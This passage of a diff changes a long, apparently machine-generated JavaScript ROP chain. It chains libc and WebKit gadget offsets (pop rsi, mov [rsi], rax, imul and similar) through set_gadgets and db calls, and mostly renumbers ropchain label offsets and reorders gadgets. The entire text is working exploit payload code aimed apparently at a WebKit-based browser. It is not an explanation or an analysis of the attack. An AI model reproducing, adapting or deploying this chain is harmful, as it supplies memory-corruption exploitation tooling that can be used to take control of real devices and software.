libc_base+793877, //pop rsi -ropchain+115392, //L1304 +ropchain+115376, //L1304 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8514,7 +8512,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+115480, //L1305 +ropchain+115464, //L1305 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8524,19 +8522,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+115536, //L1308 +ropchain+115520, //L1307 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1308: +//L1307: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+115608, //L1309 +ropchain+115592, //L1309 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8546,12 +8544,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+115664, //L1312 +ropchain+115648, //L1311 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1312: +//L1311: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -8562,29 +8560,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+115768, //L1315 +ropchain+115736, //L1313 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1313: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L1315: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1314: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+115872, //L1318 +ropchain+115856, //L1318 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+115856, //L1317 +ropchain+115840, //L1316 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1317: +//L1316: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1318: @@ -8592,15 +8590,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+116016, //L1321 +ropchain+116000, //L1321 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+115984, //L1319 +ropchain+115968, //L1319 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+116000, //L1320 +ropchain+115984, //L1320 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8617,7 +8615,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+116088, //L1322 +ropchain+116072, //L1322 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8627,12 +8625,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+116144, //L1325 +ropchain+116128, //L1324 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1325: +//L1324: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8641,25 +8639,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+116224, //L1327 +ropchain+116208, //L1327 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1327: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1326: -db([3, 0]); // 0x3 set_gadget(libc_base+792472,); //pop rcx -//L1328: +//L1326: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1328: +db([1, 0]); // 0x1 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+116328, //L1329 +ropchain+116312, //L1329 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+116344, //L1330 +ropchain+116328, //L1330 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8677,7 +8675,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+116432, //L1331 +ropchain+116416, //L1331 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8687,12 +8685,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+116488, //L1334 +ropchain+116472, //L1333 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1334: +//L1333: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -8705,29 +8703,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+116608, //L1337 +ropchain+116576, //L1335 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1335: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1337: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1336: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+116712, //L1340 +ropchain+116696, //L1340 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+116696, //L1339 +ropchain+116680, //L1338 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1339: +//L1338: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1340: @@ -8735,15 +8733,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+116856, //L1343 +ropchain+116840, //L1343 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+116824, //L1341 +ropchain+116808, //L1341 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+116840, //L1342 +ropchain+116824, //L1342 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8760,7 +8758,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+116928, //L1344 +ropchain+116912, //L1344 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8770,12 +8768,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+116984, //L1347 +ropchain+116968, //L1346 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1347: +//L1346: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8784,25 +8782,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+117064, //L1349 +ropchain+117048, //L1349 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1349: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1348: -db([28, 0]); // 0x1c set_gadget(libc_base+792472,); //pop rcx -//L1350: +//L1348: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1350: +db([28, 0]); // 0x1c set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+117168, //L1351 +ropchain+117152, //L1351 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+117184, //L1352 +ropchain+117168, //L1352 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8820,7 +8818,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+117272, //L1353 +ropchain+117256, //L1353 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8830,19 +8828,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+117328, //L1356 +ropchain+117312, //L1355 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1356: +//L1355: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+117400, //L1357 +ropchain+117384, //L1357 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8852,12 +8850,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+117456, //L1360 +ropchain+117440, //L1359 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1360: +//L1359: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -8869,7 +8867,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L1361: -webkit_base+1026352, //mov [rdi + 0x10], r9 +webkit_base+2858307, //mov [rdi], r9 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -8877,29 +8875,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+117608, //L1364 +ropchain+117576, //L1362 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1362: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1364: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1363: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+117712, //L1367 +ropchain+117696, //L1367 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+117696, //L1366 +ropchain+117680, //L1365 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1366: +//L1365: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1367: @@ -8907,15 +8905,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+117856, //L1370 +ropchain+117840, //L1370 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+117824, //L1368 +ropchain+117808, //L1368 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+117840, //L1369 +ropchain+117824, //L1369 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8932,7 +8930,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+117928, //L1371 +ropchain+117912, //L1371 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -8942,12 +8940,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+117984, //L1374 +ropchain+117968, //L1373 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1374: +//L1373: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -8956,25 +8954,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+118064, //L1376 +ropchain+118048, //L1376 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1376: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1375: -db([29, 0]); // 0x1d set_gadget(libc_base+792472,); //pop rcx -//L1377: +//L1375: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1377: +db([29, 0]); // 0x1d set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+118168, //L1378 +ropchain+118152, //L1378 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+118184, //L1379 +ropchain+118168, //L1379 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -8992,7 +8990,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+118272, //L1380 +ropchain+118256, //L1380 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9002,19 +9000,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+118328, //L1383 +ropchain+118312, //L1382 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1383: +//L1382: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+118400, //L1384 +ropchain+118384, //L1384 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9024,12 +9022,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+118456, //L1387 +ropchain+118440, //L1386 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1387: +//L1386: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -9049,29 +9047,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+118608, //L1391 +ropchain+118576, //L1389 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1389: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1391: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1390: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+118712, //L1394 +ropchain+118696, //L1394 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+118696, //L1393 +ropchain+118680, //L1392 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1393: +//L1392: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1394: @@ -9079,15 +9077,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+118856, //L1397 +ropchain+118840, //L1397 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+118824, //L1395 +ropchain+118808, //L1395 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+118840, //L1396 +ropchain+118824, //L1396 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9104,7 +9102,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+118928, //L1398 +ropchain+118912, //L1398 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9114,12 +9112,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+118984, //L1401 +ropchain+118968, //L1400 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1401: +//L1400: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9128,25 +9126,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+119064, //L1403 +ropchain+119048, //L1403 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1403: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1402: -db([30, 0]); // 0x1e set_gadget(libc_base+792472,); //pop rcx -//L1404: +//L1402: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1404: +db([30, 0]); // 0x1e set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+119168, //L1405 +ropchain+119152, //L1405 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+119184, //L1406 +ropchain+119168, //L1406 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9164,7 +9162,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+119272, //L1407 +ropchain+119256, //L1407 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9174,19 +9172,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+119328, //L1410 +ropchain+119312, //L1409 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1410: +//L1409: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+119400, //L1411 +ropchain+119384, //L1411 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9196,12 +9194,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+119456, //L1414 +ropchain+119440, //L1413 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1414: +//L1413: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -9212,29 +9210,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+119560, //L1417 +ropchain+119528, //L1415 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1415: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L1417: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1416: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+119664, //L1420 +ropchain+119648, //L1420 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+119648, //L1419 +ropchain+119632, //L1418 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1419: +//L1418: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1420: @@ -9242,15 +9240,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+119808, //L1423 +ropchain+119792, //L1423 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+119776, //L1421 +ropchain+119760, //L1421 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+119792, //L1422 +ropchain+119776, //L1422 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9267,7 +9265,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+119880, //L1424 +ropchain+119864, //L1424 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9277,12 +9275,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+119936, //L1427 +ropchain+119920, //L1426 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1427: +//L1426: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9291,25 +9289,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+120016, //L1429 +ropchain+120000, //L1429 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1429: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1428: -db([7, 0]); // 0x7 set_gadget(libc_base+792472,); //pop rcx -//L1430: +//L1428: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1430: +db([7, 0]); // 0x7 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+120120, //L1431 +ropchain+120104, //L1431 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+120136, //L1432 +ropchain+120120, //L1432 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9327,7 +9325,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+120224, //L1433 +ropchain+120208, //L1433 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9337,12 +9335,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+120280, //L1436 +ropchain+120264, //L1435 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1436: +//L1435: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -9355,29 +9353,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+120400, //L1439 +ropchain+120368, //L1437 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L1437: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L1439: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1438: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+120504, //L1442 +ropchain+120488, //L1442 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+120488, //L1441 +ropchain+120472, //L1440 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1441: +//L1440: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1442: @@ -9385,15 +9383,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+120648, //L1445 +ropchain+120632, //L1445 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+120616, //L1443 +ropchain+120600, //L1443 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+120632, //L1444 +ropchain+120616, //L1444 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9410,7 +9408,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+120720, //L1446 +ropchain+120704, //L1446 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9420,12 +9418,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+120776, //L1449 +ropchain+120760, //L1448 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1449: +//L1448: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -9434,25 +9432,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+120856, //L1451 +ropchain+120840, //L1451 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L1451: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L1450: -db([31, 0]); // 0x1f set_gadget(libc_base+792472,); //pop rcx -//L1452: +//L1450: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L1452: +db([31, 0]); // 0x1f set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+120960, //L1453 +ropchain+120944, //L1453 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+120976, //L1454 +ropchain+120960, //L1454 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -9470,7 +9468,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+121064, //L1455 +ropchain+121048, //L1455 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9480,19 +9478,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+121120, //L1458 +ropchain+121104, //L1457 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1458: +//L1457: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+121192, //L1459 +ropchain+121176, //L1459 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -9502,12 +9500,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+121248, //L1462 +ropchain+121232, //L1461 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1462: +//L1461: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -9527,29 +9525,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax 